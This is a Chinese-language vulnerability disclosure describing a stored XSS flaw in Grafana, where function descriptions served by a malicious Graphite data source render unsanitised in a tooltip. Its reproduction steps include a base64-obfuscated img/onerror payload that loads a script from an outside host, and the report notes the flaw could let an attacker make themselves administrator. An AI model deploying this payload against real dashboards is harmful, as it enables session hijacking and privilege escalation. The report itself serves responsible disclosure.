安装 Graphite 数据源后,可以在仪表板中使用此数据源。这具有使用函数的能力。选择函数后,将鼠标悬停在函数名称上时会出现一个小工具提示。
此工具提示将允许您从查询中删除所选函数或查看函数描述。但是,在将此描述添加到 DOM 时不会执行任何清理。
由于连接到公共数据源相对普遍,攻击者可能会托管一个 Graphite 实例,该实例的功能描述已更改,携带 XSS 有效载荷。
当用户在查询中使用它并无意中将鼠标悬停在功能描述上时,将执行攻击者控制的 XSS 负载。
例如,这可用于使攻击者成为管理员。
重现步骤:
1.创建您自己的 Graphite 实例。我通过跑步来做到这一点
make devenv sources=graphite
2. 现在启动您的 Graphite 容器的控制台并更改以下文件。
/opt/graphite/webapp/graphite/render/functions.py
3.你可以使用任何功能,但是我选择aggregateSeriesLists 功能。
4. 将其描述更改为:
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
5. 结果如下:
def aggregateSeriesLists(requestContext, seriesListFirstPos, seriesListSecondPos, func, xFilesFactor=None):
"""
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vY20yLnRlbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
"""
if len(seriesListFirstPos) != len(seriesListSecondPos):
raise InputParameterError(
"seriesListFirstPos and seriesListSecondPos argument must have equal length")
results = []
for i in range(0, len(seriesListFirstPos)):
firstSeries = seriesListFirstPos[i]
secondSeries = seriesListSecondPos[i]
aggregated = aggregate(requestContext, (firstSeries, secondSeries), func, xFilesFactor=xFilesFactor)
if not aggregated: # empty list, no data found
continue
result = aggregated[0] # aggregate() can only return len 1 list
result.name = result.name[:result.name.find('Series(')] + 'Series(%s,%s)' % (firstSeries.name, secondSeries.name)
results.append(result)
return results
aggregateSeriesLists.group = 'Combine'
aggregateSeriesLists.params = [
Param('seriesListFirstPos', ParamTypes.seriesList, required=True),
Param('seriesListSecondPos', ParamTypes.seriesList, required=True),
Param('func', ParamTypes.aggFunc, required=True),
Param('xFilesFactor', ParamTypes.float),
]
6. 保存并退出文件。重新启动您的 Graphite 容器。
7. 以组织管理员身份登录到您的 Grafana 实例。
8.导航到http://[grafana]/plugins/graphite并点击Create a Graphite data source
9. 输入攻击者的 Graphite 实例的 url(您可能想要激活 Skip SSL Check),然后单击 Save & Test and Explore。
10、在新打开的页面点击Functions旁边的Add图标,然后搜索aggregateSeriesLists并点击添加。
11.将光标悬停在 aggregateSeriesLists 上方,然后将其移动到?图标。
payload 将被触发,在这种情况下,它将包含一个外部脚本,该脚本将导致触发警报。
影响:
当然,攻击者会通过将其所有描述替换为 XSS 负载来增加机会。
如上所示,攻击者现在可以在受害者的浏览器中执行任意 Javascript。
受害者可以是在查询中(或在探索时)使用恶意 Graphite 实例的任何用户,包括组织管理员。
如果是这种情况,攻击者可能会插入一个有效负载,允许他们自己添加为管理员。